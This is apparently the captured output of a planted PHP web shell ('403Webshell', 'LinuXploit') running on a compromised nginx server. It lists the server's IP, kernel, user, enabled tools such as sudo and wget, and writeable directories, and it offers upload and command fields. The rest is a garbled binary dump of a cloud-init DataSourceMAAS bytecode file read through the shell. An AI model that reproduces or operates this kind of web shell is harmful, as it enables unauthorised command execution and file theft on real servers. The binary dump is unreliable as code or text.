403Webshell
Server IP : 178.105.222.151  /  Your IP : 216.73.216.38
Web Server : nginx/1.28.3
System : Linux MNK 7.0.0-15-generic #15-Ubuntu SMP PREEMPT_DYNAMIC Wed Apr 22 16:06:43 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.5.4
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/cloudinit/sources/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/cloudinit/sources/__pycache__/DataSourceMAAS.cpython-314.pyc
+
��ic;���^RIt^RIt^RIt^RIt^RIHtHtHt^RIH	t	^RI
Ht]P!]
4tRt.ROt!RR]P"4t!RR	]4tR
tRtRtRR]RR3R
ltRt!RR]4t!RR]4t]]P833]]P8]P:33.tRt]
R8Xd
Rt ] !4R#R#)�N)�sources�
url_helper�util)�KlibcNetworkConfigSource)�NetworkConfigSourcez
2012-03-01c�ra�]tRt^toRtRtRtRt^xt^2t	Rt
]R4tRt
RtRtR	tR
tRtRtVtR#)
�DataSourceMAASz�
DataSourceMAAS reads instance information from MAAS.
Given a config metadata_url, and oauth tokens, it expects to find
files under the root named:
  instance-id
  user-data
  hostname
  vendor-data
�MAASNc���\PPWW#4RVn\P
P
VPR4Vn\VP4Vn
R#)N�maas)r�
DataSource�__init__�base_url�os�path�join�seed_dir�get_id_from_ds_cfg�ds_cfg�id_hash)�self�sys_cfg�distro�pathss&&&&�B/usr/lib/python3/dist-packages/cloudinit/sources/DataSourceMAAS.pyr�DataSourceMAAS.__init__2sI�����#�#�D�6�A���
������U�^�^�V�<��
�)�$�+�+�6���c�r�VP'g\VP4VnVP#�N)�
_oauth_helper�get_oauth_helperr�rs&r�oauth_helper�DataSourceMAAS.oauth_helper8s+���!�!�!�!1�$�+�+�!>�D���!�!�!rc�h�\PPV4pV:RVP:R2#)z [�])rr
�__str__r)r�roots& rr'�DataSourceMAAS.__str__>s'���!�!�)�)�$�/�� �$�-�-�0�0rc
�F�VPpVPVP\VP44R# \dM4\
d(p\PRTPT4hRp?ii;iTPRR4pT'gR#TPT4'gR#TPT\TTPPTP^R74R# \d!\P !\RT4R#i;i)Tz%s was malformed: %sN�metadata_urlF)�read_file_or_urlr�retriesz$Failed fetching metadata from url %s)r�	_set_datar�read_maas_seed_dir�MAASSeedDirNone�MAASSeedDirMalformed�LOG�warning�get�wait_for_metadata_service�read_maas_seed_urlr#�readurlr�	Exceptionr�logexc)r�mcfg�exc�urls&   r�	_get_data�DataSourceMAAS._get_dataBs����{�{��	��N�N�4�=�=�*<�T�]�]�*K�L����	��#�	��K�K�.��
�
�s�C���	��
�h�h�~�t�,����	�
�1�1�#�6�6���N�N��"��%)�%6�%6�%>�%>��*�*��	�
����	��K�K��C�S�I��	�s9�/?�A=�A=�A=�"A8�8A=�C5�6=C5�5'D �D c���WnVwr4pW0nW@nV'd\P!V4VnR#R# \d)p\PRT4RTnRp?R#Rp?ii;i)z"Invalid content in vendor-data: %sN)	r�userdata_raw�metadatar�convert_vendordata�vendordata_raw�
ValueErrorr2r3)rr<�data�ud�md�vd�es&&&    rr.�DataSourceMAAS._set_dataisg���
��
������
�
�
+�&-�&@�&@��&D��#����
+����@�!�D�&*��#�#��
+�s�A�A3�A.�.A3c�(�RVP,#)z/Return the subplatform metadata source details.z
seed-dir (%s))rr"s&r�_get_subplatform�DataSourceMAAS._get_subplatformvs������.�.rc���VP4pVP^8XdR#\P!4pVP	R4pV:R\
:R2pV.pVPPVVPVPR7wrV'd\PRV4M:\PRV\\P!4V,
44\V4#)rF�/z/meta-data/instance-id)�urls�max_wait�timeoutzUsing metadata source: '%s'z(Giving up on md from %s after %i seconds)�get_url_params�max_wait_seconds�time�	monotonic�rstrip�
MD_VERSIONr#�wait_for_url�timeout_secondsr2�debug�critical�int�bool)rr<�
url_params�	starttime�	check_urlrP�	_responses&&     rr5�(DataSourceMAAS.wait_for_metadata_servicezs����(�(�*�
��&�&�!�+���N�N�$�	��j�j��o��58�*�E�	��{���*�*�7�7���0�0��.�.�8�
�����I�I�3�S�9��L�L�:���D�N�N�$�y�0�1�
��C�y�rc��VPfR#\P!VRVP3/4pVP\	V48H#)z�locally check if the current system is the same instance.

MAAS doesn't provide a real instance-id, and if it did, it is
still only available over the network.  We need to check based
only on local resources.  So compute a hash based on Oauth tokens.F�
datasource)rr�get_cfg_by_path�dsnamer)rr�ncfgs&& r�check_instance_id� DataSourceMAAS.check_instance_id�sC���<�<����#�#�G�l�D�K�K�-H�"�M���|�|�1�$�7�7�7r)r rrrArr@rC)�__name__�
__module__�__qualname__�__firstlineno__�__doc__rgrr �url_max_wait�url_timeoutr�propertyr#r'r=r.rLr5ri�__static_attributes__�__classdictcell__)�
__classdict__s@rr	r	sd������F��G��M��L��K�7��"��"�
1�%�N+�/��4	8�	8rr	c�aa�]tRt^�to]P
]P]P]P3t	V3Rlt
RtVtV;t
#)�DataSourceMAASLocalc�<�\4P4'g\PR4R#\PR4\SV`4#)zNo initramfs applicable configFz!Found initramfs applicable config)r�
is_applicabler2r[�superr=)r�	__class__s&�rr=�DataSourceMAASLocal._get_data�sB���'�)�7�7�9�9�
�I�I�6�7���	�	�5�6��w� �"�"r�)rkrlrmrnr�CMD_LINE�
SYSTEM_CFG�DS�	INITRAMFS�network_config_sourcesr=rsrt�
__classcell__)r{rus@@rrwrw�s;�����$�$��&�&�����%�%�	��#�#rrwc	��Rp\VUu.uFq"VPV43NK	up4p\P!R/VB#uupi)z�Return an oauth helper instance for values in cfg.

@raises ValueError from OauthUrlHelper if some required fields have
true-ish values but others do not.)�consumer_key�consumer_secret�	token_key�token_secretr})�dictr4r�OauthUrlHelper)�cfg�keys�r�kwargss&   rr!r!�sF��
L�D�
�D�1�D�q�s�w�w�q�z�?�D�1�
2�F��$�$�.�v�.�.��2s�Ac	���RpRPVUu.uFq PVR4NK	up4pR\P!VP	R44P4,#uupi)z;Given a config, generate a unique identifier for this node.��zv1:zutf-8)r�r�r�)rr4�hashlib�sha256�encode�	hexdigest)r�fields�f�idstrs&   rrr�sZ��
:�F��I�I�&�9�&�Q�z�z�!�R�(�&�9�:�E��7�>�>�%�,�,�w�"7�8�B�B�D�D�D��:s�A-c��VPR4'd
VR,p\PPV4'd\P!V4'g\R4h\
RV,RR7#)�file://:�NNz%s: not a directoryz	file://%sN)�version)�
startswithrr�isdir�listdirr0r6)�seed_ds&rr/r/�s]��
����#�#�����
�7�7�=�=�� � ��
�
�6�(:�(:��3�4�4��k�F�2�D�A�Arc���Vf\PpVPR4'dVRRp/p\F�wrxr�VfV:RV:2pM
V:RV:RV:2p\P
!V4pV!W�W,R7p
V
P
4'd=V	'dV
PWg&Kp\P!V
P4Wg&K�\PRVV
P4K�	\W`4# \PdMpTPR8XdT
'g\RT:RT:24ThTPR8wdThRp?EK Rp?ii;i)	aw
Read the maas datasource at seed_url.
  read_file_or_url is a method that should provide an interface
  like util.read_file_or_url

Expected format of seed_url is are the following files:
  * <seed_url>/<version>/meta-data/instance-id
  * <seed_url>/<version>/meta-data/local-hostname
  * <seed_url>/<version>/user-data
If version is None, then <version>/ will not be used.
NrO)r-rR�ssl_detailsz4Fetching from %s resulted in an invalid http code %si�zMissing required z: ���)rr,�endswith�	DS_FIELDSr�fetch_ssl_details�ok�contents�
decode_binaryr2r3�code�UrlErrorr1�check_seed_contents)�seed_urlr,rRr�rr-rGr�	_dictname�binary�optionalr<r��resprIs&&&&&&         rr6r6�s0��&��%�6�6���������C�R�=��	�B�-6�)����?�%�t�,�C� (�'�4�8�C�	��0�0��7�K�#��g��D��w�w�y�y��#�}�}�B�H�#�1�1�$�-�-�@�B�H����J���I�I��!.7�:�r�,�,���"�"�	��v�v��}�X�*�15�q�9�������3������	�s0�=C=�C=�)"C=�
!C=�=E�E�+'E�Ec�\�/p.p\FiwrErgW@9dV'gVPV4K'RV9d2VPR4wr�p
W�9d/W(&W,W(,V
&K_W,W%&Kk	V'g\RV,4hV'd\	V:RV:24hRpVPR4'dG\
4p\P!VPR4V\R7pW�Jd\	R4hVPR4VPR	4V3#)
z�Validate if dictionary content valid as a return for a datasource.
Either return a (userdata, metadata, vendordata) tuple or
Raise MAASSeedDirMalformed or MAASSeedDirNone
rOz%s: no data files foundz: missing files N�vendor-data)�default�allowedz%vendor-data was not loadable as yaml.�	user-data�	meta-data)	r��append�	partitionr0r1r4�objectr�	load_yaml)
�content�seed�ret�missing�spath�dpath�_binaryr��top�_�p�vd_data�errs
&&           rr�r�	s��
�C��G�+4�'��g�������u�%���%�<�����,�I�C�A��~����!�.�C�H�Q�K� ��C�J�,5���7�$�>�?�?��"�T�7�#K�L�L��G�
�w�w�}����h���.�.��G�G�M�"�C�&�
���>�&�'N�O�O��7�7�;������!5�w�>�>rc��]tRtRtRtR#)r0i0r}N�rkrlrmrnrsr}rrr0r00���rr0c��]tRtRtRtR#)r1i4r}Nr�r}rrr1r14r�rr1c�8�\P!V\4#r)r�list_from_depends�datasources)�dependss&r�get_datasource_listr�@s���$�$�W�k�:�:r�__main__c�aaaa�^RIp^RIp^RIpVPRR7pVP	RRRRR7VP	RR	R
RR7VP	RR	RRR7VP	R
RRRR7VP	RRRRR7VP	RRR\
R7VP
RRR7pR8F,wrVVPWVR7pVP	RRRRR 7K.	VP4pR!VPR"VPR#VPR$VP/p	VPf�R9F�p
R%V
,R&,p\PP!V4'gK:\P"!V\P$4'gKgVP&P)R'V,4W�n
K�	VP'd�\*P,!VP4pR(V9dVR(,R),pV	P/4F!p
W�9gKW�,eKW�,W�&K#	VP0fR*V9dVR*,VnVP0f-VP&P)R+4VP3^4\5V	4oV3R,loV3R-loVVV3R.loVP6R8XEdVP&P)R/VP0,4SP8pVP0^,R08Xg"VP0P;R14'd\=VP04wpppM'\?VP0VP@V^R27wppp\CR34\CVfR4MVPE44\CR54VPV4\CR64TPVfR4MT4R#VP6R8XdS!VP04R#VP6R8XdNVP0PGR04'gR7VP0,VnS!VP04R#R#):z�
Call with single argument of directory or http or https url.
If url is given additional arguments are allowed, which will be
interpreted as consumer_key, token_key, token_secret, consumer_secret
NzInteract with MAAS DS)�descriptionz--config�filezspecify DS config file)�metavar�helpr�z--ckey�keyzthe consumer key to auth withz--tkeyzthe token key to auth withz--csec�secretzthe consumer secret (likely '')r�z--tseczthe token secret to auth withz--apiverr�z the apiver to use ( can be used)�subcommands�subcmd)�title�dest�crawlr4�
check-seed)r�r<zthe datasource url�?)r��nargsr�r�r�r�r�z/etc/cloud/cloud.cfg.d/z.cfgzUsed config in %s.
rer
r+z)Must provide a url or a config with url.
c�><�SPV^R7P#)�)r-)r7r�)r<r#s&�r�geturl�main.<locals>.geturl�s����'�'��Q�'�7�@�@�@rc�X<�\RV:RS!V4P4:R24R#)z== z ==
�
N)�print�decode)r<r�s&�r�printurl�main.<locals>.printurl�s����c�6�#�;�+=�+=�+?�@�Arc�8<�VPR4'dzS!V4P4P4FOpVPR4'dS!V:V:24K*VR8XdS!V:R:24KAS!V:V:24KQ	R#S!V4R#)rOr�z
meta-data/N)r�r��
splitlines)r<�liner�r�r�s& ���rr��main.<locals>.crawl�sy����|�|�C� � �"�3�K�.�.�0�;�;�=�D��}�}�S�)�)���T�2�3���,���\�:�;� �3��!5�6�>���
rzChecking seed at %s
rOr�)r�r,r-z=== user-data ===zN/Az=== meta-data ===z=== vendor-data ===z%s/))r�zcrawl the datasource)r4zdo a single GET of provided url)r�zread and verify seed at url)�91_kernel_cmdline_url�90_dpkg_maas)$�argparse�pprint�sys�ArgumentParser�add_argumentrX�add_subparsers�
add_parser�
parse_args�ckey�tkey�tsec�csec�configrr�exists�access�R_OK�stderr�writer�	read_confr�r<�exitr!r�r7r�r/r6�apiverr�r�r�)r�r�r��parser�subcmds�namer�r��args�creds�fname�fpathr�r�r7�userdatarArHr�r�r#r�s                  @@@@r�mainrFs����	����(�(�5L�(�M�������)��		�	
�	�����0��		�	
�	�����-��		�	
�	�����2��		�	
�	�����0��		�	
�	�����3��		�	
��'�'�m�(�'�K��
�J�D�
�"�"�4�"�3�A�
�N�N��0��T�
�
�

�� � �"��
�D�I�I������D�I�I��t�y�y�	
���;�;��B��1�E�9�F�B���7�7�>�>�%�(�(�R�Y�Y�u�b�g�g�-F�-F��J�J�$�$�%;�e�%C�D�"'�K�	C��;�;�;��.�.����-�C��s�"��,�'��/���z�z�|���:�%�*�"4�!$��E�J�$��x�x��N�c�$9��~�.����8�8���J�J���I�J��H�H�Q�K�'��.��	A�	B�	��;�;�,�&��J�J���4�t�x�x�?�@�"�*�*�G��x�x��{�c�!�T�X�X�%8�%8��%C�%C�+=�d�h�h�+G�(��8�R�+=��H�H� �K�K�%,��	,�(��8�R�
�%�&��8�+�%����1B�C��%�&��M�M�(�#��'�(��M�M�2�:�%�2�6�
�[�[�E�
!��T�X�X��
�[�[�G�
#��8�8�$�$�S�)�)� �4�8�8�+����$�(�(�O�$r))�meta-data/instance-idrFF)�meta-data/local-hostnamerFF)�meta-data/public-keysrFT)zmeta-data/vendor-datar�TT)r�r�TT)!r��loggingrrU�	cloudinitrrr�cloudinit.net.cmdliner�cloudinit.sourcesr�	getLoggerrkr2rXr�r
r	rwr!rr/r6r�r8r0r1�DEP_FILESYSTEM�DEP_NETWORKr�r�rr}rr�<module>rs�����	��/�/�:�1�
����!��
�
�
�	�~8�W�'�'�~8�B#�.�#�$/�E�B����
��
7-�t$?�N	�i�	�	�9�	��7�1�1�3�4��g�,�,�g�.A�.A�B�C���;��z��H�T	�F�Yr

Youez - 2016 - github.com/yon3zu
LinuXploit